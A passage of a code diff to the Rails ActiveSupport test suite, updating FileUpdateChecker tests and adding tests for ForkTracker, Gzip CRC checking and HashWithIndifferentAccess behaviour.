+    touched = []
+
+    Gem.stub(:path, [fake_gem_dir]) do
+      checker = new_checker([gem_file, local_file]) { touched << :called }
+
+      touch(local_file)
+      assert checker.execute_if_updated
+      assert_equal [:called], touched
+
+      touched.clear
+      touch(gem_file)
+      assert_not checker.execute_if_updated
+      assert_empty touched
+    end
+  end
+
+  test "should exclude directories in gem path" do
+    local_dir = Dir.mktmpdir
+    fake_gem_dir = Dir.mktmpdir
+    local_file = File.join(local_dir, "foo.rb")
+    gem_file = File.join(fake_gem_dir, "bar.rb")
+    touched = []
+
+    Gem.stub(:path, [fake_gem_dir]) do
+      checker = new_checker([], { fake_gem_dir => [], local_dir => [] }) { touched << :called }
+
+      touch(local_file)
+      assert checker.execute_if_updated
+      assert_equal [:called], touched
+
+      touched.clear
+      touch(gem_file)
+      assert_not checker.execute_if_updated
+      assert_empty touched
+    end
+  ensure
+    FileUtils.remove_entry(local_dir)
+    FileUtils.remove_entry(fake_gem_dir)
+  end
+
   test "should not execute the block if no files change" do
     i = 0
 
@@ -39,7 +85,7 @@ def run(*args)
 
     checker = new_checker(tmpfiles) { i += 1 }
 
-    assert !checker.execute_if_updated
+    assert_not checker.execute_if_updated
     assert_equal 0, i
   end
 
@@ -49,7 +95,6 @@ def run(*args)
     checker = new_checker(tmpfiles) { i += 1 }
 
     touch(tmpfiles)
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -63,7 +108,6 @@ def run(*args)
     checker = new_checker(tmpfiles) { i += 1 }
 
     touch(tmpfiles)
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -77,7 +121,6 @@ def run(*args)
     checker = new_checker(tmpfiles) { i += 1 }
 
     rm_f(tmpfiles)
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -87,12 +130,11 @@ def run(*args)
     i = 0
 
     checker = new_checker(tmpfiles) { i += 1 }
-    assert !checker.updated?
+    assert_not_predicate checker, :updated?
 
     touch(tmpfiles)
-    wait
 
-    assert checker.updated?
+    assert_predicate checker, :updated?
   end
 
   test "updated should become true when watched files are modified" do
@@ -101,12 +143,11 @@ def run(*args)
     FileUtils.touch(tmpfiles)
 
     checker = new_checker(tmpfiles) { i += 1 }
-    assert !checker.updated?
+    assert_not_predicate checker, :updated?
 
     touch(tmpfiles)
-    wait
 
-    assert checker.updated?
+    assert_predicate checker, :updated?
   end
 
   test "updated should become true when watched files are deleted" do
@@ -115,12 +156,11 @@ def run(*args)
     FileUtils.touch(tmpfiles)
 
     checker = new_checker(tmpfiles) { i += 1 }
-    assert !checker.updated?
+    assert_not_predicate checker, :updated?
 
     rm_f(tmpfiles)
-    wait
 
-    assert checker.updated?
+    assert_predicate checker, :updated?
   end
 
   test "should be robust to handle files with wrong modified time" do
@@ -135,7 +175,6 @@ def run(*args)
     checker = new_checker(tmpfiles) { i += 1 }
 
     touch(tmpfiles[1..-1])
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -152,7 +191,6 @@ def run(*args)
     checker = new_checker(tmpfiles) { i += 1 }
 
     touch(tmpfiles[1..-1])
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -162,14 +200,13 @@ def run(*args)
     i = 0
 
     checker = new_checker(tmpfiles) { i += 1 }
-    assert !checker.updated?
+    assert_not_predicate checker, :updated?
 
     touch(tmpfiles)
-    wait
 
-    assert checker.updated?
+    assert_predicate checker, :updated?
     checker.execute
-    assert !checker.updated?
+    assert_not_predicate checker, :updated?
   end
 
   test "should execute the block if files change in a watched directory one extension" do
@@ -178,7 +215,17 @@ def run(*args)
     checker = new_checker([], tmpdir => :rb) { i += 1 }
 
     touch(tmpfile("foo.rb"))
-    wait
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+  end
+
+  test "should execute the block if files change in a watched directory any extensions" do
+    i = 0
+
+    checker = new_checker([], tmpdir => []) { i += 1 }
+
+    touch(tmpfile("foo.rb"))
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -190,13 +237,11 @@ def run(*args)
     checker = new_checker([], tmpdir => [:rb, :txt]) { i += 1 }
 
     touch(tmpfile("foo.rb"))
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
 
     touch(tmpfile("foo.txt"))
-    wait
 
     assert checker.execute_if_updated
     assert_equal 2, i
@@ -208,9 +253,8 @@ def run(*args)
     checker = new_checker([], tmpdir => :txt) { i += 1 }
 
     touch(tmpfile("foo.rb"))
-    wait
 
-    assert !checker.execute_if_updated
+    assert_not checker.execute_if_updated
     assert_equal 0, i
   end
 
@@ -221,7 +265,6 @@ def run(*args)
     checker = new_checker([non_existing]) { i += 1 }
 
     touch(non_existing)
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -234,13 +277,11 @@ def run(*args)
 
     subdir = tmpfile("subdir")
     mkdir(subdir)
-    wait
 
-    assert !checker.execute_if_updated
+    assert_not checker.execute_if_updated
     assert_equal 0, i
 
     touch(File.join(subdir, "nested.rb"))
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
@@ -250,25 +291,22 @@ def run(*args)
     i = 0
 
     subdir = tmpfile("subdir")
-    mkdir(subdir)
+    FileUtils.mkdir(subdir)
 
     checker = new_checker([], tmpdir => :rb, subdir => :txt) { i += 1 }
 
     touch(tmpfile("new.txt"))
-    wait
 
-    assert !checker.execute_if_updated
+    assert_not checker.execute_if_updated
     assert_equal 0, i
 
     # subdir does not look for Ruby files, but its parent tmpdir does.
     touch(File.join(subdir, "nested.rb"))
-    wait
 
     assert checker.execute_if_updated
     assert_equal 1, i
 
     touch(File.join(subdir, "nested.txt"))
-    wait
 
     assert checker.execute_if_updated
     assert_equal 2, i
@@ -279,4 +317,17 @@ def run(*args)
       new_checker([])
     end
   end
+
+  private
+    def mkdir(dirs)
+      FileUtils.mkdir(dirs)
+    end
+
+    def touch(files)
+      FileUtils.touch(files)
+    end
+
+    def rm_f(files)
+      FileUtils.rm_f(files)
+    end
 end
diff --git a/activesupport/test/file_update_checker_test.rb b/activesupport/test/file_update_checker_test.rb
index 55b0b46644731..1c9abfb160fa2 100644
--- a/activesupport/test/file_update_checker_test.rb
+++ b/activesupport/test/file_update_checker_test.rb
@@ -1,5 +1,7 @@
-require "abstract_unit"
-require "file_update_checker_shared_tests"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require_relative "file_update_checker_shared_tests"
 
 class FileUpdateCheckerTest < ActiveSupport::TestCase
   include FileUpdateCheckerSharedTests
@@ -8,12 +10,39 @@ def new_checker(files = [], dirs = {}, &block)
     ActiveSupport::FileUpdateChecker.new(files, dirs, &block)
   end
 
-  def wait
-    # noop
-  end
-
   def touch(files)
-    sleep 1 # let's wait a bit to ensure there's a new mtime
+    sleep 0.1 # let's wait a bit to ensure there's a new mtime
     super
   end
+
+  test "should not reload files that appear in the future due to time travel" do
+    i = 0
+
+    checker = new_checker(tmpfiles) { i += 1 }
+    touch(tmpfiles)
+
+    assert checker.execute_if_updated
+    assert_equal 1, i
+
+    original_last_update_at = checker.instance_variable_get(:@last_update_at)
+    assert original_last_update_at > Time.utc(2020, 1, 1), "Expected @last_update_at to be recent"
+
+    # Travel to the past, making current files appear to be in the future
+    travel_to Time.utc(2020, 1, 1) do
+      # With the old implementation with Time.new, this would corrupt @last_update_at to Time.at(0)
+      # because max_mtime would use stubbed Time.now and skip all files as "future" in max_mtime, returning nil.
+      # With Process.clock_gettime, the state should be preserved during time travel.
+      checker.execute
+    end
+
+    assert_not checker.updated?, "Should not reload after time travel when state is preserved"
+
+    final_state = checker.instance_variable_get(:@last_update_at)
+    assert_not_equal Time.at(0), final_state,
+      "State should not be corrupted after time travel"
+
+    touch(tmpfiles)
+    assert checker.execute_if_updated
+    assert_equal 3, i
+  end
 end
diff --git a/activesupport/test/fixtures/autoload/another_class.rb b/activesupport/test/fixtures/autoload/another_class.rb
index ab6e075ab47f1..cf38336cf8d40 100644
--- a/activesupport/test/fixtures/autoload/another_class.rb
+++ b/activesupport/test/fixtures/autoload/another_class.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Fixtures::AnotherClass
 end
diff --git a/activesupport/test/fixtures/autoload/some_class.rb b/activesupport/test/fixtures/autoload/some_class.rb
index 30d41eb0bf3d2..ff25eb995e502 100644
--- a/activesupport/test/fixtures/autoload/some_class.rb
+++ b/activesupport/test/fixtures/autoload/some_class.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Fixtures::Autoload::SomeClass
 end
diff --git a/activesupport/test/fixtures/concern/some_concern.rb b/activesupport/test/fixtures/concern/some_concern.rb
new file mode 100644
index 0000000000000..6569ba89e0c01
--- /dev/null
+++ b/activesupport/test/fixtures/concern/some_concern.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "active_support/concern"
+
+module SomeConcern
+  extend ActiveSupport::Concern
+
+  included do
+    # shouldn't raise when module is loaded more than once
+  end
+
+  prepended do
+    # shouldn't raise when module is loaded more than once
+  end
+end
diff --git a/activesupport/test/fork_tracker_test.rb b/activesupport/test/fork_tracker_test.rb
new file mode 100644
index 0000000000000..4738d1a7cdf4b
--- /dev/null
+++ b/activesupport/test/fork_tracker_test.rb
@@ -0,0 +1,189 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class ForkTrackerTest < ActiveSupport::TestCase
+  def test_object_fork
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    assert_not respond_to?(:fork)
+    pid = fork do
+      read.close
+      write.close
+      exit!
+    end
+
+    write.close
+
+    Process.waitpid(pid)
+    assert_equal "forked", read.read
+    read.close
+
+    assert_not called
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+
+  def test_object_fork_without_block
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    if pid = fork
+      write.close
+      Process.waitpid(pid)
+      assert_equal "forked", read.read
+      read.close
+      assert_not called
+    else
+      read.close
+      write.close
+      exit!
+    end
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+
+  def test_process_fork
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    pid = Process.fork do
+      read.close
+      write.close
+      exit!
+    end
+
+    write.close
+
+    Process.waitpid(pid)
+    assert_equal "forked", read.read
+    read.close
+    assert_not called
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+
+  def test_process_fork_without_block
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    if pid = Process.fork
+      write.close
+      Process.waitpid(pid)
+      assert_equal "forked", read.read
+      read.close
+      assert_not called
+    else
+      read.close
+      write.close
+      exit!
+    end
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+
+  def test_kernel_fork
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    pid = Kernel.fork do
+      read.close
+      write.close
+      exit!
+    end
+
+    write.close
+
+    Process.waitpid(pid)
+    assert_equal "forked", read.read
+    read.close
+    assert_not called
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+
+  def test_kernel_fork_without_block
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    if pid = Kernel.fork
+      write.close
+      Process.waitpid(pid)
+      assert_equal "forked", read.read
+      read.close
+      assert_not called
+    else
+      read.close
+      write.close
+      exit!
+    end
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+
+  def test_basic_object_with_kernel_fork
+    read, write = IO.pipe
+    called = false
+
+    handler = ActiveSupport::ForkTracker.after_fork do
+      called = true
+      write.write "forked"
+    end
+
+    klass = Class.new(BasicObject) do
+      include ::Kernel
+      def fark(&block)
+        fork(&block)
+      end
+    end
+
+    object = klass.new
+    assert_not object.respond_to?(:fork)
+    pid = object.fark do
+      read.close
+      write.close
+      exit!
+    end
+
+    write.close
+
+    Process.waitpid(pid)
+    assert_equal "forked", read.read
+    read.close
+
+    assert_not called
+  ensure
+    ActiveSupport::ForkTracker.unregister(handler)
+  end
+end if Process.respond_to?(:fork)
diff --git a/activesupport/test/gzip_test.rb b/activesupport/test/gzip_test.rb
index f51d3cdf65212..f507800ede324 100644
--- a/activesupport/test/gzip_test.rb
+++ b/activesupport/test/gzip_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/core_ext/object/blank"
 
 class GzipTest < ActiveSupport::TestCase
@@ -16,7 +18,7 @@ def test_compress_should_return_a_binary_string
     compressed = ActiveSupport::Gzip.compress("")
 
     assert_equal Encoding.find("binary"), compressed.encoding
-    assert !compressed.blank?, "a compressed blank string should not be blank"
+    assert_not compressed.blank?, "a compressed blank string should not be blank"
   end
 
   def test_compress_should_return_gzipped_string_by_compression_level
@@ -30,4 +32,19 @@ def test_compress_should_return_gzipped_string_by_compression_level
 
     assert_equal true, (gzipped_by_best_compression.bytesize < gzipped_by_speed.bytesize)
   end
+
+  def test_decompress_checks_crc
+    compressed = ActiveSupport::Gzip.compress("Hello World")
+    first_crc_byte_index = compressed.bytesize - 8
+    compressed.setbyte(first_crc_byte_index, compressed.getbyte(first_crc_byte_index) ^ 0xff)
+
+    assert_raises(Zlib::GzipFile::CRCError) do
+      ActiveSupport::Gzip.decompress(compressed)
+    end
+  end
+
+  def test_sets_mtime_to_zero
+    compressed = ActiveSupport::Gzip.compress("Hello World")
+    assert_equal Time.at(0), Zlib::GzipReader.new(StringIO.new(compressed)).mtime
+  end
 end
diff --git a/activesupport/test/hash_with_indifferent_access_test.rb b/activesupport/test/hash_with_indifferent_access_test.rb
new file mode 100644
index 0000000000000..cb436073316be
--- /dev/null
+++ b/activesupport/test/hash_with_indifferent_access_test.rb
@@ -0,0 +1,1032 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "bigdecimal"
+require "yaml"
+require "active_support/core_ext/hash"
+require "active_support/core_ext/string/access"
+require "active_support/core_ext/object/conversions"
+require "active_support/core_ext/object/deep_dup"
+require "active_support/inflections"
+
+class HashWithIndifferentAccessTest < ActiveSupport::TestCase
+  HashWithIndifferentAccess = ActiveSupport::HashWithIndifferentAccess
+
+  class IndifferentHash < ActiveSupport::HashWithIndifferentAccess
+  end
+
+  class SubclassingArray < Array
+  end
+
+  class SubclassingHash < Hash
+  end
+
+  class NonIndifferentHash < Hash
+    def nested_under_indifferent_access
+      self
+    end
+  end
+
+  class HashByConversion
+    def initialize(hash)
+      @hash = hash
+    end
+
+    def to_hash
+      @hash
+    end
+  end
+
+  def setup
+    @strings = { "a" => 1, "b" => 2 }
+    @nested_strings = { "a" => { "b" => { "c" => 3 } } }
+    @symbols = { a: 1, b: 2 }
+    @nested_symbols = { a: { b: { c: 3 } } }
+    @mixed = { :a => 1, "b" => 2 }
+    @nested_mixed = { "a" => { b: { "c" => 3 } } }
+    @integers = { 0 => 1, 1 => 2 }
+    @nested_integers = { 0 => { 1 => { 2 => 3 } } }
+    @illegal_symbols = { [] => 3 }
+    @nested_illegal_symbols = { [] => { [] => 3 } }
+  end
+
+  def test_symbolize_keys_for_hash_with_indifferent_access
+    assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
+    assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
+    assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys
+    assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
+  end
+
+  def test_to_options_for_hash_with_indifferent_access
+    assert_instance_of Hash, @symbols.with_indifferent_access.to_options
+    assert_equal @symbols, @symbols.with_indifferent_access.to_options
+    assert_equal @symbols, @strings.with_indifferent_access.to_options
+    assert_equal @symbols, @mixed.with_indifferent_access.to_options
+  end
+
+  def test_deep_symbolize_keys_for_hash_with_indifferent_access
+    assert_instance_of Hash, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_strings.with_indifferent_access.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_mixed.with_indifferent_access.deep_symbolize_keys
+  end
+
+  def test_symbolize_keys_bang_for_hash_with_indifferent_access
+    assert_raise(NoMethodError) { @symbols.with_indifferent_access.dup.symbolize_keys! }
+    assert_raise(NoMethodError) { @strings.with_indifferent_access.dup.symbolize_keys! }
+    assert_raise(NoMethodError) { @mixed.with_indifferent_access.dup.symbolize_keys! }
+  end
+
+  def test_deep_symbolize_keys_bang_for_hash_with_indifferent_access
+    assert_raise(NoMethodError) { @nested_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+    assert_raise(NoMethodError) { @nested_strings.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+    assert_raise(NoMethodError) { @nested_mixed.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
+  def test_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+    assert_equal @illegal_symbols, @illegal_symbols.with_indifferent_access.symbolize_keys
+    assert_raise(NoMethodError) { @illegal_symbols.with_indifferent_access.dup.symbolize_keys! }
+  end
+
+  def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.with_indifferent_access.deep_symbolize_keys
+    assert_raise(NoMethodError) { @nested_illegal_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
+  def test_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
+    assert_equal @integers, @integers.with_indifferent_access.symbolize_keys
+    assert_raise(NoMethodError) { @integers.with_indifferent_access.dup.symbolize_keys! }
+  end
+
+  def test_stringify_keys_stringifies_integer_keys_for_hash_with_indifferent_access
+    assert_equal({ "0" => 1, "1" => 2 }, @integers.with_indifferent_access.stringify_keys)
+    assert_equal({ "ints" => { "0" => 1, "1" => 2 } }, { ints: @integers }.with_indifferent_access.deep_stringify_keys)
+  end
+
+  def test_stringify_keys_stringifies_non_string_keys_for_hash_with_indifferent_access
+    object = Object.new
+    hash = { object => 1 }
+    assert_equal({ object.to_s => 1 }, hash.with_indifferent_access.stringify_keys)
+  end
+
+  def test_deep_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
+    assert_equal @nested_integers, @nested_integers.with_indifferent_access.deep_symbolize_keys
+    assert_raise(NoMethodError) { @nested_integers.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+  end
+
+  def test_stringify_keys_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.stringify_keys
+    assert_equal @strings, @symbols.with_indifferent_access.stringify_keys
+    assert_equal @strings, @strings.with_indifferent_access.stringify_keys
+    assert_equal @strings, @mixed.with_indifferent_access.stringify_keys
+  end
+
+  def test_deep_stringify_keys_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_stringify_keys
+    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_stringify_keys
+  end
+
+  def test_stringify_keys_bang_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!
+    assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!
+    assert_equal @strings, @strings.with_indifferent_access.dup.stringify_keys!
+    assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!
+  end
+
+  def test_deep_stringify_keys_bang_for_hash_with_indifferent_access
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_dup.deep_stringify_keys!
+  end
+
+  def test_nested_under_indifferent_access
+    foo = { "foo" => SubclassingHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of ActiveSupport::HashWithIndifferentAccess, foo["foo"]
+
+    foo = { "foo" => NonIndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of NonIndifferentHash, foo["foo"]
+
+    foo = { "foo" => IndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+    assert_kind_of IndifferentHash, foo["foo"]
+  end
+
+  def test_indifferent_assorted
+    @strings = @strings.with_indifferent_access
+    @symbols = @symbols.with_indifferent_access
+    @mixed   = @mixed.with_indifferent_access
+
+    assert_equal "a", @strings.__send__(:convert_key, :a)
+
+    assert_equal 1, @strings.fetch("a")
+    assert_equal 1, @strings.fetch(:a.to_s)
+    assert_equal 1, @strings.fetch(:a)
+
+    hashes = { :@strings => @strings, :@symbols => @symbols, :@mixed => @mixed }
+    method_map = { '[]': 1, fetch: 1, values_at: [1],
+                   has_key?: true, include?: true, key?: true,
+                   member?: true }
+
+    hashes.each do |name, hash|
+      method_map.sort_by(&:to_s).each do |meth, expected|
+        assert_equal(expected, hash.__send__(meth, "a"),
+                     "Calling #{name}.#{meth} 'a'")
+        assert_equal(expected, hash.__send__(meth, :a),
+                     "Calling #{name}.#{meth} :a")
+      end
+    end
+
+    assert_equal [1, 2], @strings.values_at("a", "b")
+    assert_equal [1, 2], @strings.values_at(:a, :b)
+    assert_equal [1, 2], @symbols.values_at("a", "b")
+    assert_equal [1, 2], @symbols.values_at(:a, :b)
+    assert_equal [1, 2], @mixed.values_at("a", "b")
+    assert_equal [1, 2], @mixed.values_at(:a, :b)
+  end
+
+  def test_indifferent_fetch_values
+    @mixed = @mixed.with_indifferent_access
+
+    assert_equal [1, 2], @mixed.fetch_values("a", "b")
+    assert_equal [1, 2], @mixed.fetch_values(:a, :b)
+    assert_equal [1, 2], @mixed.fetch_values(:a, "b")
+    assert_equal [1, "c"], @mixed.fetch_values(:a, :c) { |key| key }
+    assert_raise(KeyError) { @mixed.fetch_values(:a, :c) }
+  end
+
+  def test_indifferent_reading
+    hash = HashWithIndifferentAccess.new
+    hash["a"] = 1
+    hash["b"] = true
+    hash["c"] = false
+    hash["d"] = nil
+
+    assert_equal 1, hash[:a]
+    assert_equal true, hash[:b]
+    assert_equal false, hash[:c]
+    assert_nil hash[:d]
+    assert_nil hash[:e]
+  end
+
+  def test_indifferent_reading_with_nonnil_default
+    hash = HashWithIndifferentAccess.new(1)
+    hash["a"] = 1
+    hash["b"] = true
+    hash["c"] = false
+    hash["d"] = nil
+
+    assert_equal 1, hash[:a]
+    assert_equal true, hash[:b]
+    assert_equal false, hash[:c]
+    assert_nil hash[:d]
+    assert_equal 1, hash[:e]
+  end
+
+  def test_indifferent_writing
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 1
+    hash["b"] = 2
+    hash[3] = 3
+
+    assert_equal 1, hash["a"]
+    assert_equal 2, hash["b"]
+    assert_equal 1, hash[:a]
+    assert_equal 2, hash[:b]
+    assert_equal 3, hash[3]
+  end
+
+  def test_indifferent_update
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = "a"
+    hash["b"] = "b"
+
+    assert_equal(hash.object_id, hash.update(@strings).object_id)
+
+    hash.update(@symbols)
+    hash.update(@mixed)
+    hash.update(@mixed.with_indifferent_access)
+
+    assert_equal(["a", "b"], hash.keys)
+
+    assert_equal 1, hash[:a]
+    assert_equal 1, hash["a"]
+    assert_equal 2, hash[:b]
+    assert_equal 2, hash["b"]
+  end
+
+  def test_update_with_block
+    h1 = { "a" => 1, "b" => "x" }.with_indifferent_access
+    h2 = { a: 2, b: "y" }
+
+    merged_hash = h1.update(h2) { |k, v1, v2| [k, v1, v2].join }
+
+    assert_equal(["a", "b"], merged_hash.keys)
+    assert_equal("a12", merged_hash[:a])
+    assert_equal("bxy", merged_hash[:b])
+  end
+
+  def test_update_with_multiple_arguments
+    hash = HashWithIndifferentAccess.new
+    hash.update(
+      { "a" => 1 }.with_indifferent_access,
+      { "b" => 2 }
+    )
+
+    assert_equal 1, hash["a"]
+    assert_equal 2, hash["b"]
+  end
+
+  def test_update_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash.update HashByConversion.new(a: 1)
+    assert_equal 1, hash["a"]
+  end
+
+  def test_indifferent_merging
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = "failure"
+    hash["b"] = "failure"
+
+    other = { "a" => 1, :b => 2 }
+
+    merged = hash.merge(other)
+
+    assert_equal HashWithIndifferentAccess, merged.class
+    assert_equal 1, merged[:a]
+    assert_equal 2, merged["b"]
+
+    hash.update(other)
+
+    assert_equal 1, hash[:a]
+    assert_equal 2, hash["b"]
+  end
+
+  def test_merging_with_multiple_arguments
+    hash = HashWithIndifferentAccess.new
+    merged = hash.merge({ "a" => 1 }, { "b" => 2 })
+
+    assert_equal 1, merged["a"]
+    assert_equal 2, merged["b"]
+  end
+
+  def test_merge_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    merged = hash.merge HashByConversion.new(a: 1)
+    assert_equal 1, merged["a"]
+  end
+
+  def test_indifferent_replace
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 42
+
+    replaced = hash.replace(b: 12)
+
+    assert hash.key?("b")
+    assert_not hash.key?(:a)
+    assert_equal 12, hash[:b]
+    assert_same hash, replaced
+  end
+
+  def test_replace_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 42
+
+    replaced = hash.replace(HashByConversion.new(b: 12))
+
+    assert hash.key?("b")
+    assert_not hash.key?(:a)
+    assert_equal 12, hash[:b]
+    assert_same hash, replaced
+  end
+
+  def test_indifferent_merging_with_block
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 1
+    hash["b"] = 3
+
+    other = { "a" => 4, :b => 2, "c" => 10 }
+
+    merged = hash.merge(other) { |key, old, new| old > new ? old : new }
+
+    assert_equal HashWithIndifferentAccess, merged.class
+    assert_equal 4, merged[:a]
+    assert_equal 3, merged["b"]
+    assert_equal 10, merged[:c]
+
+    other_indifferent = HashWithIndifferentAccess.new("a" => 9, :b => 2)
+
+    merged = hash.merge(other_indifferent) { |key, old, new| old + new }
+
+    assert_equal HashWithIndifferentAccess, merged.class
+    assert_equal 10, merged[:a]
+    assert_equal 5, merged[:b]
+  end
+
+  def test_indifferent_reverse_merging
+    hash = HashWithIndifferentAccess.new key: :old_value
+    hash.reverse_merge! key: :new_value
+    assert_equal :old_value, hash[:key]
+
+    hash = HashWithIndifferentAccess.new("some" => "value", "other" => "value")
+    hash.reverse_merge!(some: "noclobber", another: "clobber")
+    assert_equal "value", hash[:some]
+    assert_equal "clobber", hash[:another]
+  end
+
+  def test_indifferent_with_defaults_aliases_reverse_merge
+    hash = HashWithIndifferentAccess.new key: :old_value
+    actual = hash.with_defaults key: :new_value
+    assert_equal :old_value, actual[:key]
+
+    hash = HashWithIndifferentAccess.new key: :old_value
+    hash.with_defaults! key: :new_value
+    assert_equal :old_value, hash[:key]
+  end
+
+  def test_indifferent_deleting
+    get_hash = proc { { a: "foo" }.with_indifferent_access }
+    hash = get_hash.call
+    assert_equal "foo", hash.delete(:a)
+    assert_nil hash.delete(:a)
+    hash = get_hash.call
+    assert_equal "foo", hash.delete("a")
+    assert_nil hash.delete("a")
+  end
+
+  def test_indifferent_select
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select { |k, v| v == 1 }
+
+    assert_equal({ "a" => 1 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_select_returns_enumerator
+    enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).select
+    assert_instance_of Enumerator, enum
+  end
+
+  def test_indifferent_select_returns_a_hash_when_unchanged
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select { |k, v| true }
+
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_select_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.select! { |k, v| v == 1 }
+
+    assert_equal({ "a" => 1 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
+  def test_indifferent_reject
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject { |k, v| v != 1 }
+
+    assert_equal({ "a" => 1 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_reject_returns_enumerator
+    enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject
+    assert_instance_of Enumerator, enum
+  end
+
+  def test_indifferent_reject_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.reject! { |k, v| v != 1 }
+
+    assert_equal({ "a" => 1 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
+  def test_indifferent_transform_keys
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).transform_keys { |k| k * 2 }
+
+    assert_equal({ "aa" => 1, "bb" => 2 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
